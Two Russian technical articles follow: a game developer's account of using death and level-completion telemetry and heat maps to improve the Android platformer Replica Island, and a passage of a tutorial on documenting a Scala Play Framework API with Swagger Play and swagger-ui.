Ничто не сравнится с ощущением, которое испытываешь, наблюдая, как кто-то играет в созданную тобой игру. В процессе разработки игры ты играешь каждый день, и вырабатываешь, возможно неосознанно, определённый стиль игры. Но отдавая свою игру в руки другого человека, ты получаешь возможность увидеть, что происходит с твоим творением, когда им пользуются без такого, как у тебя, ежедневного игрового опыта.
Каждая возникающая проблема, сбой в анимации, непонятный текст в руководстве и периодические ошибки, производят намного сильное впечатление, когда в игру играет новичок. Неважно как долго ты оттачивал игровой процесс и сколько ошибок ты исправил, твой выработанный стиль игры и твоя особая вовлечённость в геймплей, создаваемой тобой игры, может помешать тебе ясно увидеть проблемы, с которыми сразу могут столкнуться другие игроки.
Вот почему тестирование геймплея — это жизненно важная часть процесса создания хорошей игры. Чтобы получить максимальную отдачу от тестирования, нам потребуется сохранять информацию о процессе прохождения игры. Эта статья описывает мой опыт в решении этой задачи.
#### Начиная с малого
Мои первые шаги в игростроении я делал, создавая игры для Game Boy Advance. В то время подход к тестированию был довольно простым: мы давали соседским ребятам специальное устройство Game Boy Advance, подключённое к видеомагнитофону, записывали их игру, после чего просматривали записи. Это позволяло нам отлавливать явные и крупные ошибки.
Участки игры, прохождение которых вызывало сильные отрицательные эмоции у ребят, принимались к дополнительной проработке. Когда игрок раз за разом терпит неудачу в определённом месте игры — это ясный сигнал к тому, что эту часть геймплея надо переработать. Несколько игровых прогонов с помощью соседских ребят и мы могли заметно улучшить наши игры.
В настоящее время я работаю консультантом в области создания игр для Google Android. Моя первая игра для этой платформы, аркада Replica Island, не сильно отличается от игр для Game Boy, которые я писал 10 лет назад. Но кое-что изменилось — я не работал больше на компанию, создающую игры, я написал её для себя, с помощью одного художника, в основном работая в свободное время.
Теперь у меня нет доступа к аудитории юных бета-тестеров, что был в то время. И даже будь этот доступ, нынешняя целевая аудитория для игры несколько старше.
В конце концов нет простого способа собирать информацию о прохождении игры на телефоне. Единственный способ — это стоять «над душой» во время игры, но это неудобно, и может влиять на то, как игрок играет, что снижает чистоту эксперимента.
Как-же поступить независимому разработчику? Завершив разработку Replica Island, я понял, что нет никакой гарантии того, что играть в эту игру будет интересно. Игра разрабатывалась «в вакууме» и мне был нужен сторонний взгляд на игровой процесс, прежде чем я мог быть уверен в том, что игру пора выпускать.
Первое, что я попробовал — это были опросы. Я расположил игру на внутреннем сервере компании, где я работал, и разослал письма сослуживцам, с просьбой поиграть и прислать мне свои впечатления. Я даже развернул небольшой форум с вопросами об игре. Этот подход не сработал.
Несмотря на то, что многие скачали игру, очень немногие, менее одного процента от скачавших, потрудились ответить на мои вопросы. К тому-же ответившие на вопросы не дали достаточно информации. Трудно понять, что именно явилось причиной оценки «в игру трудно играть». Явилось-ли причиной неудобное управление в игре, неудачный дизайн уровней, расположение препятствий в игре, руководства к прохождению уровней, либо ещё что-то.
#### Размышляя над системой показателей
После того случая, я подумал о системе сбора и обработки показателей для игрового процесса, которая была разработана компанией [Naughty Dog](http://ru.wikipedia.org/wiki/Naughty_Dog) для игры [Crash Bandicoot](http://ru.wikipedia.org/wiki/Crash_Bandicoot).
Система записывала статистику о процессе игры на карту памяти. Эти данные потом собирались (в оффлайне) с целью обнаружить трудные для прохождения участки, или участки, где игровой персонаж наиболее часто погибал.
Эти проблемные участки были переработаны, а эта информация была также использована для системы динамической настройки сложности игры.
Одним из интересных принципов, которым я руководствовался при создании своей системы, была идея компании Naughty Dog о том, что надо избегать завершения игры всеми силами. Их конечная цель заключалась в устранении моментов, когда игрок застревал на каком-то этапе и не мог продолжать игру.
Мне понравилась эта идея, но я тогда не понимал насколько это реализуемо для игры на телефоне. Я немного поспрашивал у окружающих, чтобы понять текущее положение с записью статистики для игр с большими бюджетами. И узнал, что многие компании используют механизмы сбора информации об активности игроков.
Несколько человек сказали, что несмотря на то, что они собирают большой объём информации, они испытывают трудности в обработке и в представлении этих данных в форме, удобной для восприятия и понимания того, что надо изменить в исследуемых играх.
С другой стороны некоторые студии обладают инструментами, которые могут воссоздать перемещения игрока по уровню и генерируют статистику о том, какое оружие предпочитают игроки, каких противников труднее победить, и какие части карты явно видимы в том или ином случае.
Складывается впечатление, что формирование набора показателей для игрока применимо для широкого класса игр, но это оправдано только для крупных компаний, которые вкладывают значительные ресурсы для построения инструментария обработки собранных данных.
Пример того, как такой тип систем может быть наиболее эффективно использован, можно увидеть в выступлении Георга Золлера (Georg Zoeller) о [замечательной системе телеметрии](http://gdc.gulbsoft.org/talk), которую они используют в BioWare.
Получалось, что сбор данных об игровом процессе — это лёгкая часть задачи, а вот интерпретация этих данных таким образом, чтоб дать понятную и полезную создателям игры картину — это намного сложнее.
Это прозвучало обескураживающе, так как я старался держать свой набор инструментов настолько простым насколько это возможно. Но я решил всё-же поэкспериментировать с некоторыми ключевыми показателями.
У моего Android-телефона не было карты памяти, но было постоянное интернет-соединение. Возможно, подумал я, я смогу фиксировать некоторые важные события в игре, отправлять их на сервер и получать с него результаты. Моя цель была понять как можно больше о том, как играют в мою игру, при этом оставляя систему настолько простой, насколько это было возможно.
#### Базовая система
Система, которую я написал, состояла из трёх частей: поток выполнения, который во время игрового процесса собирает данные о действиях игрока и отправляет на сервер, сервер как таковой, и инструмент для обработки собранных данных.
Сервер — это слишком громко сказано, конечно. Мой сервер был представлен 30-ю строчками PHP-скрипта, который проверял GET-запрос по HTTP и записывал результаты в базу данных MySQL. Структура GET-запроса, в свою очередь, тоже была очень простой. Это название события, координаты, версия кода, идентификатор сессии и временная отметка (timestamp).
Эти данные, прямо в поступившем виде, заносились в базу данных. Текущая обработка данных также выполнялась в PHP, когда открывалась специальная страница на сервере. Не очень хороший выбор в долгосрочной перспективе, об этом будет сказано ниже по тексту.
Я начал с регистрации двух событий: гибели игрового персонажа и завершения уровня. Каждый раз, когда игровой персонаж погибал, либо игрок завершал уровень, игра отправляла соответствующее событие на сервер. Из этих данных я впоследствии смог сформировать довольно детальное представление об игровом процессе.
Я смог увидеть, какие уровни требуют наибольшее время для прохождения, на каких уровнях игрок чаще всего погибает, и которые из них слишком быстро проходит. Сгруппировав эти данные по игрокам, я увидел какой процент от всех игроков погибает на том или ином уровне, и среднее значение неудач для каждого игрока.
Анализируя координаты того или иного события, я мог сказать, в каких случаях игровой персонаж погибал от действий врага, а в каких от падения в яму. Для начала моя простая система показателей была неплохо детализирована.
#### Отмечаем неудачи на карте ярко-красным цветом
Как только моя базовая система стала работать, я выпустил обновление для бета-тестеров и стал наблюдать за поступающими данными. Довольно быстро были выявлены повторяющиеся ситуации.
На некоторых уровнях почти сто процентов игроков терпели неудачу как минимум один раз, а на других уровнях игроки застревали на несколько часов, что означало неудачно спроектированный уровень, так как его предполагалось проходить в течении нескольких минут. Анализируя эти данные, я получил чёткое представление о том, какие уровни требуют доработки.
Но определение проблемных уровней не было достаточным. Иной раз я не мог сказать почему на том или ином конкретном уровне возникала проблема.
И я продвинулся на шаг вперёд. Используя те-же самые данные, я написал инструмент, чтобы обозначать на карте уровня местоположение гибели игрового персонажа. И я смог увидеть где именно игровой персонаж погибал, а где нет.
Первый прогон системы показал лишь маленькую точку на уровне, где погиб игровой персонаж. Но с увеличением количества игроков я начал получать что-то вроде тепловых карт (heat maps), обозначающих места гибели игроков на картах уровней, которые было намного проще воспринимать. Глава, посвящённая созданию тепловой карты, будет представлена ниже по тексту.
Тепловая карта, сгенерированная на основе данных о гибели игровых персонажей в Replica Island
#### Наглядное пособие по просчётам в дизайне игры
Комбинация высокоуровневой игровой статистики и обозначение на уровнях мест гибели игровых персонажей пролила свет на недочёты в игровом дизайне. Я понял, к примеру, что большое количество игроков погибало при встрече с самым первым монстром. Это было не потому, что монстр был очень силён. После детального изучения ситуации я пришёл к выводу, что монстр появлялся в месте, где главный способ атаки — прыжок сверху — был трудно реализуем из-за низко расположенного потолка.
Я также понял, что моя простая система динамической настройки сложности игры сама требовала коррекции. Эта система, не афишируя сего факта, увеличивала продолжительность жизни игрового персонажа и энергию для его полёта после определённого количества последовательных смертей. Изучая статистические данные я понял, что ей это следовало делать намного раньше.
Также основательные изменения претерпела структура моих уровней. У меня было достаточное количество уровней с высоким временем, которое затрачивалось на их прохождение, но с малым количеством смертей. И я понял, что игроки попросту заблудились на уровне. Я переделал эти уровни, чтобы сделать порядок их прохождения более понятным. В паре случаев я даже полностью переделал уровни с нуля.
Но наибольшей проблемой, с которой я столкнулся были ямы. Replica Island — это платформер, и, как вы можете догадаться, в ней игроку надо делать большое количество прыжков над ямами. В отличие от постоянно вращающихся [сумчатых](http://ru.wikipedia.org/wiki/Crash_Bandicoot_(персонаж)) и [обитающих в трубах сантехников](http://ru.wikipedia.org/wiki/Марио_(персонаж_игры)), у моего игрового персонажа главным способом перемещения был полёт.
Мне была нужна система контроля за игровым персонажем, которая не требовала бы наличия геймпада. Так как главный герой игры, зелёный робот Android использовал ракетные двигатели на ногах, чтобы летать. Базовая модель движения заключалась в том, чтобы получить импульс ещё на поверхности перед прыжком и, используя этот импульс, с помощью двигателей лететь в нужном направлении. Двигатели расходовали энергию довольно быстро, но энергия возобновлялась при приземлении. И идея заключалась в том, что игрок будет совершать прыжок, а затем, аккуратно расходуя энергию, достигать нужных мест, либо совершать точные прыжки на противников, атакуя их.
Всё это было хорошо, но когда я посмотрел на статистику гибели игровых персонажей, которая приходила от бета-тестеров, я обнаружил, что они, в массе своей, погибали в бездонных ямах. Толпы игроков проваливались даже в самые небольшие ямы. И больше беспокоил тот факт, что с течением игры количество смертей в ямах не уменьшалось. Игроки никак не улучшали свои навыки в преодолении препятствий в течении игры.
После чего я внимательно изучил дизайн игры и дизайн уровней и сформировал несколько теорий. Основной проблемой, по моему пониманию, было то, что игроки не видят ям тогда, когда они находятся в прыжке. В конце концов, во время прыжка не было заметно наличие простой ямы либо ямы-ловушки на месте приземления. И так как мои уровни зачастую очень высокие, то трудно определить которые ямы вели на подземные уровни, а которые из них вели к страшной смерти.
Вторая и более важная проблема заключалось в том, что поведение камеры, показывающей главного героя игры, было не очень хорошо проработано. Когда главный герой совершал прыжок в высоту, поверхность земли исчезала из поля зрения. В результате чего было трудно определить верное место для приземления.
Известные платформеры вроде Super Mario Bros практически никогда не выполняют вертикальный скроллинг. В Mario есть целый набор сложных правил, определяющих ситуации, когда камера может двигаться вверх и вниз. Однако в моей игре наличие механики полёта означало, что я разрешаю вертикальный скроллинг во всех случаях. После большого количества внесённых исправлений я получил более умное поведение камеры, которая не начинает движение вверх, если только сам игрок не приблизился к границе отображаемой области.
После всех этих изменений я выпустил ещё одно обновление для моих бета-тестеров и сравнил результаты с результатами, полученными от предыдущей версии игры. Перемены были очень многообещающие. Общее количество смертей снизилось, время прохождения уровней, в основном, вернулось в нормальные рамки. И смертность от падения в ямы заметно снизилась.
Я повторил процесс тестирования несколько раз, прежде чем был готов к выпуску окончательной версии игры. С моей системой показателей было легко определить как те или иные изменения влияют на прохождение игры бета-тестерами.
#### Выпуск игры
Итак, после нескольких тестовых прогонов, мои графики стали показывать [стандартное нормальное распределение](http://ru.wikipedia.org/wiki/Нормальное_распределение), к которому я и стремился. Пришло время выпускать игру и я решил оставить систему сбора показателей встроенной в игру. Мне было интересно, будет-ли информация, которую я буду получать от новых пользователей, отличаться от той, которую я получал от группы бета-тестеров. Был только один способ выяснить это.
Конечно, каждый раз, когда игра отправляет данные на сервер, наилучшим решением будет ставить пользователя в известность.
Первое время после выпуска игры в приветственном сообщении, которое показывается с информацией о последних изменениях, была информация о том, что игра отправляет на сервер анонимную и не персонализированную информацию об игровом процессе, чтобы улучшить игру впоследствии. И игроки, которые не желали этого, могли выключить эту систему через меню.
Этот подход казался лучшим решением. Несмотря на то, что код игры открыт, и любой мог изучить структуру отправляемых пакетов данных (я заранее убедился, что ничего из присылаемых данных нельзя сопоставить с конкретным человеком или устройством), я давал игрокам возможность сказать «нет, спасибо».
Сравнивая количество установок из Android Market с количеством уникальных игроков в моей системе показателей, я пришёл к выводу, что менее 20% от пользователей игры отказались передавать данные об игровом процессе на сервер.
Как закономерный результат я получил огромный объём данных для анализа — более 14 миллионов информационных точек, около гигабайта информации о событиях, которые были сгенерированы пользователями моей игры. На момент написания статьи их количество составляло 1 200 000 игроков.
Фактически такой объём информации сломал мою систему довольно быстро. У меня есть статистика, собранная с первых 13 000 игроков, [которую я опубликовал](http://replicaisland.net/index.php?view=en/player_metrics.php) на сайте игры Replica Island. Но после выпуска игры, большинство моих инструментов для анализа перестали работать.
Хорошей новостью был тот факт, что первые 13 000 игроков дали статистическую информацию, которая была очень схожа с меньшей по размеру группой бета-тестеров, что, возможно, говорит о том, что результаты, полученные в тестовой группе, могут быть применены к большим группам игроков.
#### Так или иначе, этот план сработал
Я был очень удовлетворён моей системой учёта событий в Replica Island. С небольшими усилиями, которые мне почти ничего не стоили (серверная часть, которая фиксирует события, обошлась мне меньше, чем аккаунт в Xbox Live), и используя только два типа событий, я был в состоянии быстро и эффективно определить места в игре, где игроки сталкивались с проблемами.
Кроме того, как только я стал собирать эту информацию, я получил возможность сравнивать сводные данные из моей системы, полученные от разных версий моей игры, что дало мне возможность убедиться в том, что вносимые мной в игру изменения дают положительный эффект.
Применение PHP и MySQL для реализации серверной части было хорошим решением. Фиксирование событий было настолько тривиальным, что я уверен, это могло быть просто реализовано на любом языке. На PHP реализация всей серверной части заняла у меня менее получаса.
Использование отдельного потока выполнения для отправки событий на сервер тоже было хорошим ходом. Я не хотел, чтобы пользовательский интерфейс блокировался во время отправки HTTP-запросов, и вынес процесс коммуникации с сервером в отдельный поток выполнения.
Я поначалу опасался замедления работы игры на устройстве из-за этого, но как оказалось, причин для беспокойства не было. Дополнительная нагрузка была настолько незначительной, что я даже не смог заметить её во время профилирования игры.
В конце концов поддержание всей системы настолько простой насколько это возможно было хорошим решением. Я рассмотрел много различных вариантов событий, который я мог регистрировать в моей игре. Но отслеживание момента гибели главного героя игры и завершение уровня предоставило более чем достаточную информацию для анализа.
Больший объём информации привёл бы к усложнению механизмов обработки данных, и, возможно, сделал бы труднее получение чёткой картины в результате. Теперь, когда у меня есть некоторый опыт в создании автоматической системы сбора и обработки показателей, я, возможно, приму решение увеличить в будущем объём данных, которые я отправляю на сервер. Но начало с простой системы было определённо хорошим ходом, на мой взгляд.
#### Шишки, которые я набил
Не всё в системе регистрации событий работало хорошо. Я принял несколько решений, которые не дали ожидаемых результатов либо просто были потерей времени.
Решение использовать PHP для серверной части было хорошим ходом. Однако было ошибкой использовать PHP для обработки полученных данных. Моя идея заключалась в том, чтобы делать всё через веб-интерфейс. Я даже написал свой редактор уровней на PHP и JavaScript.
Но PHP стал тормозить, когда объём данных для обработки значительно вырос. PHP работал в очень ограниченном окружении с точки зрения объёма памяти и вычислительных ресурсов. И я почти сразу столкнулся с этими ограничениями. Как только я стал получать информацию от 20 000 игроков большая часть моего PHP-инструментария попросту перестала работать.
В частности проблематичной оказалась обработка изображений а PHP. Я реализовал весь механизм генерации тепловых карт в PHP, но мне следовало написать что-нибудь, что бы выполнялось локально, вместо того, чтобы выполняться на сервере.
Я столкнулся с большим количеством ошибок в интерфейсе PHP GD (формирование изображений с альфа-каналом попросту не работало), и решил просто уменьшить размер изображений уровней для последующей их обработки.
Для этой статьи я переписал этот инструмент используя Python и [ImageMagick](http://www.imagemagick.org/).
И результаты оказались впечатляющими. Код этой реализации можно скачать с официального сайта [Game Developer magazine](http://www.gdmag.com/resources/code.htm).
В итоге, хоть эти данные и говорили мне о том, когда игровой персонаж погибал и сколько требовалось времени для прохождения уровней, они не давали мне информации для того, чтобы определить моменты, не связанные с гибелью главного персонажа игры, когда игроки бросают играть в мою игру (game shelf moments).
Я пришёл к выводу, что я выпустил игру с некоторыми ключевыми просчётами в дизайне уровней, которые моя система показателей никогда не обнаружила-бы. В наиболее крайних ситуациях перед игроками вставала задача, которую они не понимали как решить, и попросту бросали играть, не завершив прохождения уровня.
Это никогда не отображалось в моей системе, так как как условие фиксации события завершения уровня так и не наступало. Я узнал об этом только тогда, когда игроки стали присылать мне жалобы на то, что они застревают на одном и том-же месте при прохождении игры.
Моя автоматическая система хоть и была очень удобной, она не показывала мне полную картину игрового процесса. В моём случае показатели были хороши для определения проблемных мест на уровнях, но бы неэффективны в определении просчётов связанных с порядком взаимодействия элементов игры друг с другом.
#### Будущее
Для моей следующей игры я снова применю подобную автоматическую систему. В дополнение к фиксированию координат гибели игрового персонажа, я, возможно, добавлю события, базирующиеся на форме настигшей его гибели. Это, возможно, будет полезно знать — как именно игровой персонаж погиб, а не только знать где именно это случилось.
И, в зависимости от игры, может быть полезно отправлять на сервер историю перемещений игрового персонажа перед его гибелью на том или ином уровне.
Однако, ключевой момент подобной системы заключается в её простоте. Сбор данных не имеет смысла, пока не созданы надёжные инструменты для их обработки.
Для своей следующей игры я скорее оставлю нетронутой базовую систему отправки данных на сервер и сохранения их базе данных. И сфокусируюсь на создании лучших инструментов для обработки полученных данных.
Также меня интересует, каким образом сводные данные, полученные по игрокам, могут быть использованы для настройки динамических систем управления сложностью игры.
Если игра будет в состоянии получать сводные данные с сервера, это изменит её игровой процесс, базирующийся не только на результатах игры одного игрока, но и на усреднённых данных миллионов других игроков. На мой взгляд это открывает новые интересные возможности.
Сбор и анализ показателей игрока не являются идеальной заменой пользовательскому тестированию. Но они дают очень полезную усреднённую картину. И так как система показателей позволяют тестировать игру на более крупных группах игроков, чем это возможно при работе с индивидуальными бета-тестерами, то система говорит тебе больше об игре в долгосрочной перспективе.
Полученные от системы показателей выгоды с лихвой перекрывали затраты на неё в Replica Island. Сохранив простоту клиентской и серверных частей, я получил много полезной информации о дизайне уровней игры и привычках игроков, и, как результат, игра только стала лучше.
Единственное о чём я сожалею — это то, что я не реализовал такой системы в своих предыдущих играх. Похоже на то, что она применима практически во всех играх любых жанров для любых платформ.
##### Как генерировать тепловые карты
Генерация тепловых карт не так сложна, но вот поиск точной инструкции потребовал от меня определённых усилий. Я использовал метод похожий на [описанный здесь](http://blog.corunet.com/how-to-make-heat-maps).
###### Основные действия заключаются в следующем:
1. Генерируем изображение круга в градациях серого, цвет которого изменяется от чёрного в центре до прозрачного у краёв по радиальному градиенту. Это изображение для отображения точки, в которой произошло событие.
2. Генерируем прямоугольное изображение с цветным градиентом. Низ изображения пусть будет белым или красным, или любого цвета, который вы выберете как обозначение наиболее «горячего» места на тепловой карте. Верх изображения должен быть чёрным с несколькими цветами в промежутке. Это изображение будет использоваться как «словарь» для формирования графического отчёта по статистическим данным позднее.
3. Генерируем список координат прошедших событий.
4. Рассчитываем максимальное количество точек возникших событий, которые находятся в непосредственной близости друг от друга. Это будет максимальным значением «тепла» для тепловой карты.
5. Для каждого уникального местоположения в списке событий рисуем изображение круга по координатам события. Рисуем изображение с коэффициентом непрозрачности, рассчитываемым по формуле:
`(количество событий в этом месте)/(максимальное значение "тепла") * 100%`
Используем умножающую модель переноса (multiply transfer mode: src \* dst) для смешивания точек нарисованных кругов друг с другом.
Накладываем полученное изображение на прозрачную канву (canvas).
Когда процесс будет завершён мы получим изображение с большим количеством тёмных пятен с изменяющейся интенсивностью черного цвета. Это — промежуточное изображение, которое будет подвергаться обработке на следующем шаге.
6. Берём изображение полученное на предыдущем шаге и добавляем в него цвет. Берём уровень прозрачности (alpha) для каждой точки и на его основе вычисляем Y-координату в «цветном словаре», построенном на шаге 2 для того, чтобы рассчитать цвет для обрабатываемой точки.
7. Берём полученное изображение и накладываем его поверх изображения игрового уровня. Места возникновения событий будут показаны как цветные области, где увеличивающаяся интенсивность цвета показывает области, в которых происходило больше событий.
При выполнении всех этих шагов убедитесь в том, что вы поддерживаете цветовое пространство в диапазоне 8-бит на канал (в частности при расчёте непрозрачности на шаге 5). Или рассмотрите использование формата, который поддерживает данные с плавающей точкой для формирования изображений.
Можно легко выявить ошибки точности (precision bugs), которые будут заметны при большом количестве событий, так что вклад одного события в общую картину будет менее одного процента.
Инструменты вроде [ImageMagick](http://www.imagemagick.org) могут помочь вам решить эту задачу. | https://habr.com/ru/post/115854/ | null | ru | null |
# Игра с открытым API: Swagger Play
В данной статье я хочу рассказать, как использовать Swagger модуль для Play Framework, с примерами из реальной жизни. Я расскажу:
1. Как прикрутить последнюю версию Swagger-Play (модуль Play, позволяющий использовать аннотации swagger-api и генерировать на их основе документацию в соответствии со спецификацией OpenAPI) и как настроить swagger-ui (библиотеку javascript, служащую для визуализации сгенерированной документации)
2. Опишу основные аннотации Swagger-Core и расскажу об особенностях их использования для Scala
3. Расскажу, как правильно работать с классами моделей данных
4. Как обойти проблему обобщенных типов в Swagger, который не умеет работать с дженериками
5. Как научить Swagger понимать ADT (алгебраические типы данных)
6. Как описывать коллекции
Статья будет интересна всем, кто использует Play Framework на Scala и собирается автоматизировать документирование API.
Добавление зависимости
----------------------
Изучив множество источников в интернете делаю вывод, что для того, чтобы подружить Swagger и Play Framework, нужно установить модуль Swagger Play2.
Адрес библиотеки на гитхабе:
<https://github.com/swagger-api/swagger-play>
Добавляем зависимость:
```
libraryDependencies ++= Seq(
"io.swagger" %% "swagger-play2" % "2.0.1-SNAPSHOT"
)
```
И здесь возникает проблема:
На момент написания этой статьи зависимость не подтягивалась ни из Maven-central, ни из Sonatype репозиториев.
В Maven-central все найденные сборки заканчивалис на Scala 2.12. Вообще не было ни одной собранной версии для Scala 2.13.
Очень надеюсь, что в будущем они появятся.
Полазив по репозиторию Sonatype-releases, я нашел актуальный форк этой библиотеки. Адрес на github:
<https://github.com/iterable/swagger-play>
Итак, вставляем зависимость:
```
libraryDependencies ++= Seq(
"com.iterable" %% "swagger-play" % "2.0.1"
)
```
Добавляем репозиторий Sonatype:
```
resolvers += Resolver.sonatypeRepo("releases")
```
(Не обязательно, т.к. данная сборка в есть Maven-central)
Теперь осталось активировать модуль в конфигурационном файле application.conf
```
play.modules.enabled += "play.modules.swagger.SwaggerModule"
```
а также добавить маршрут в routes:
```
GET /swagger.json controllers.ApiHelpController.getResources
```
И модуль готов к работе.
Теперь модуль Swagger Play будет генерировать json-файл, который можно просматривать в браузере.
Чтобы полностью насладиться возможностями Swagger, нужно также загрузить библиотеку визуализации: swagger-ui. Она предоставляет удобный графический интерфейс для чтения файла swagger.json, а также дает возможность отправлять rest-запросы на сервер, предоставляя отличную альтернативу Postman, Rest-client и другим аналогичным инструментам.
Итак, добавляем в зависимости:
```
libraryDependencies += "org.webjars" % "swagger-ui" % "3.25.3"
```
В контроллере создаем метод, перенаправляющий вызовы на статический файл index.html библиотеки:
```
def redirectDocs: Action[AnyContent] = Action {
Redirect(
url = "/assets/lib/swagger-ui/index.html",
queryStringParams = Map("url" -> Seq("/swagger.json")))
}
```
Ну и прописываем маршрут в файле routes:
```
GET /docs controllers.HomeController.redirectDocs()
```
Разумеется, необходимо подключить библиотеку webjars-play. Добавляем в зависимости:
```
libraryDependencies += "org.webjars" %% "webjars-play" % "2.8.0"
```
И добавляем в файл routes маршрут:
```
GET /assets/*file controllers.Assets.at(path="/public", file)
```
При условии, что наше приложение запущено, набираем в браузере
<http://localhost:9000/docs>
и, если все сделано правильно, попадаем на страницу swagger нашего приложения:
[](https://lh4.googleusercontent.com/OFtpuW76n_AluK85tP4C1qy52CtSzBbSf_GGh95co295Hu46M5YfU8FNjdC7dbB0JVdVkUwVq5D3dZy7wJOoh8YeOPlBLQm4BEW7PGmKcrmCILqpxMDrOh14m32SboYzvC-pN2xY)
Страница пока не содержит данных о нашем rest-api. Для того, чтобы это изменить, необходимо использовать аннотации, который будут отсканированы модулем Swagger-Play.
Аннотации
---------
Подробное описание всех аннотаций swagger-api-core можно посмотреть по ссылке:
<https://github.com/swagger-api/swagger-core/wiki/Annotations-1.5.X>
В своем проекте я использовал следующие аннотации:
**`@`Api** — отмечает класс контроллера как ресурс Swagger (для сканирования)
**`@`ApiImplicitParam** — описывает «неявный» параметр (например, заданный в теле запроса)
**`@`ApiImplicitParams** — служит контейнером для нескольких аннотаций `@`ApiImplicitParam
**`@`ApiModel** — позволяет описать модель данных
**`@`ApiModelProperty** — описывает и интерпретирует поле класса модели данных
**`@`ApiOperation** — описывает метод контроллера (наверное, главная аннотация в этом списке)
**`@`ApiParam** — описывает параметр запроса, заданный явным образом (в строке запроса, например)
**`@`ApiResponse** — описывает ответ сервера на запрос
**`@`ApiResponses** — служит контейнером для нескольких аннотаций `@`ApiResponse. Обычно включает дополнительные ответы (например, при возникновении кодов ошибок). Успешный ответ обычно описывается в аннотации `@`ApiOperation
Итак, для того, чтобы Swagger отсканировал класс контроллера, необходимо добавить аннотацию `@`Api
```
@Api(value = «RestController», produces = «application/json»)
class RestController @Inject()(
```
Этого достаточно, чтобы Swagger нашел в файле routes маршруты, относящиеся к методам контроллера и попытался описать их.
[](https://lh3.googleusercontent.com/Bhy9aYulQ19v_Gxz9206WQv_KtsT7iqSd7KO3qAg-9A8oKRNYlKUfbgJonixaEvp7jPabx_NoSAoL53aZwx1AbaynjldnW1ZLJXJletFGgF4VGBtaLwdDgYLpFcxJ5e_JXMkymny)
Но просто указать Swagger класс контроллера явно не достаточно. Swagger ждет от нас подсказок в виде других аннотаций.
Почему Swagger не может это сделать автоматически? Потому что он понятия не имеет, как сериализуются наши классы. В этом проекте я использую uPickle, кто-то использует Circe, кто-то Play-JSON. Поэтому необходимо дать ссылки на получаемые и выдаваемые классы.
Поскольку используемая библиотека написана на Java, в проекте на Scala возникает множество нюансов.
И первое, с чем придется столкнуться — это синтаксис: не работают вложенные аннотации
Например, Java код:
```
@ApiResponses(value = {
@ApiResponse(code = 400, message = "Invalid ID supplied"),
@ApiResponse(code = 404, message = "Pet not found") })
```
В Scala будет выглядеть так:
```
@ApiResponses(value = Array(
new ApiResponse(code = 400, message = "Invalid ID supplied"),
new ApiResponse(code = 404, message = "Pet not found") ))
```
Пример 1
--------
Итак, давайте опишем метод контроллера, который ищет сущность в базе данных:
```
def find(id: String): Action[AnyContent] =
safeAction(AllowRead(DrillObj)).async { implicit request =>
drillsDao.findById(UUID.fromString(id))
.map(x => x.fold(NotFound(s"Drill with id=$id not found"))(x =>
Ok(write(x)))).recover(errorsPf)
}
```
При помощи аннотаций мы можем задать описание метода, входящий параметр, получаемый из строки запроса, а также ответы с сервера. В случае успеха, метод отдаст экземпляр класса Drill:
```
@ApiOperation(
value = "Найти тренировоку",
response = classOf[Drill]
)
@ApiResponses(value = Array(
new ApiResponse(code = 404, message = "Drill with id=$id not found")
))
def find(@ApiParam(value = "String rep of UUID, id тренировки") id: String)=
safeAction(AllowRead(DrillObj)).async { implicit request =>
drillsDao.findById(UUID.fromString(id))
.map(x => x.fold(NotFound(s"Drill with id=$id not found"))(x =>
Ok(write(x)))).recover(errorsPf)
}
```
[](https://lh4.googleusercontent.com/JvexX_zpbwqXN-okFV-UFjMLWzhG0aIjPn9Rk56d2HvnJDgNKOARF0UFpHl3Sk0-fmCjxH5VBSv2dtisRJgojfopMxqvgu4NSaTwD38-pvlUivu7QwjGUXNWMxtfSszH1vG_4zca)
Мы получили хорошее описание. Swagger почти угадал, во что сериализуется объект, за одним исключением: поля start и end в нашем классе Drill являются объектами класса Instant, и сериализуются в Long. Хотелось бы 0 заменить на более подходящие значения. Мы это можем сделать, применив аннотации @ApiModel, @ApiModelProperty к нашему классу:
```
@ApiModel
case class Drill(
id: UUID,
name: String,
@ApiModelProperty(
dataType = "Long",
example = "1585818000000"
)
start: Instant,
@ApiModelProperty(
dataType = "Long",
example = "1585904400000"
)
end: Option[Instant],
isActive: Boolean
)
```
Теперь у нас есть абсолютно корректное описание модели:
[](https://lh5.googleusercontent.com/sycu_0EADFpIQHX0y2HcHr_HYuit5Il6nfj5gS3dAPG6NxJjL60C1yFjes6qzZBroMBw8PA7Z-8vOUtnRDZ_3Yygj6BXB3VCZIy0I2qTA7W6BMoYgmMn0p1zu2up1hEqUTZ-GVCU)
Пример 2
--------
Для описание метода Post, где входящий параметр передается в теле запроса используется аннотация `@`ApiImplicitParams:
```
@ApiOperation(value = "Новая тренировка")
@ApiImplicitParams(Array(
new ApiImplicitParam(
value = "Новая тренировка",
required = true,
dataTypeClass = classOf[Drill],
paramType = "body"
)
))
@ApiResponses(value = Array(
new ApiResponse(code = 200, message = "ok")
))
def insert() = safeAction(AllowWrite(DrillObj)).async { implicit request =>
```
Пример 3
--------
Пока все было просто. Вот более сложный пример. Допустим, есть обобщенный класс, зависящий от параметра типа:
```
case class SessionedResponse[T](
val ses: SessionData,
val payload: T
)
```
Swagger не понимает дженерики, пока, по крайней мере. Мы не можем указать в аннотации:
```
@ApiOperation(
value = "Список тренировок",
response = classOf[SessionedResponse[Drill]]
)
```
Единственный путь в такой ситуации, это сделать подкласс от обобщенного типа для каждого из необходимых нам типов. Например, мы могли бы сделать подкласс DrillSessionedResponse.
Единственная беда, мы не можем наследовать от case-класса. К счастью, в моем проекте мне ничего не мешает изменить case class на class. Тогда:
```
class SessionedResponse[T](
val ses: SessionData,
val payload: T
)
object SessionedResponse {
def apply[T](ses: SessionData, payload: T) = new SessionedResponse[T](ses, payload)
}
private[controllers] class DrillSessionedResponse(
ses: SessionData,
payload: List[Drill]
) extends SessionedResponse[List[Drill]](ses, payload)
```
Теперь я могу указать этот класс в аннотации:
```
@ApiOperation(
value = "Список тренировок",
response = classOf[DrillSessionedResponse]
)
```
Пример 4
--------
Теперь еще более сложный пример, связанный с ADT — алгебраическими типами данных.
В Swagger предусмотрен механизм работы с ADT:
Аннотация `@`ApiModel имеет 2 параметра для этой цели:
1. **subTypes** — перечисление подклассов
2. **discriminator** — поле, по которому подклассы отличаются друг от друга.
В моем случае, uPickle производя JSON из case-классов, сам добавляет поле $type, a case — объекты сериализует в строки. Так что подход с полем discriminator оказался неприемлем.
Я использовал другой подход. Допустим, есть
```
sealed trait Permission
case class Write(obj: Obj) extends Permission
case class Read(obj: Obj) extends Permission
```
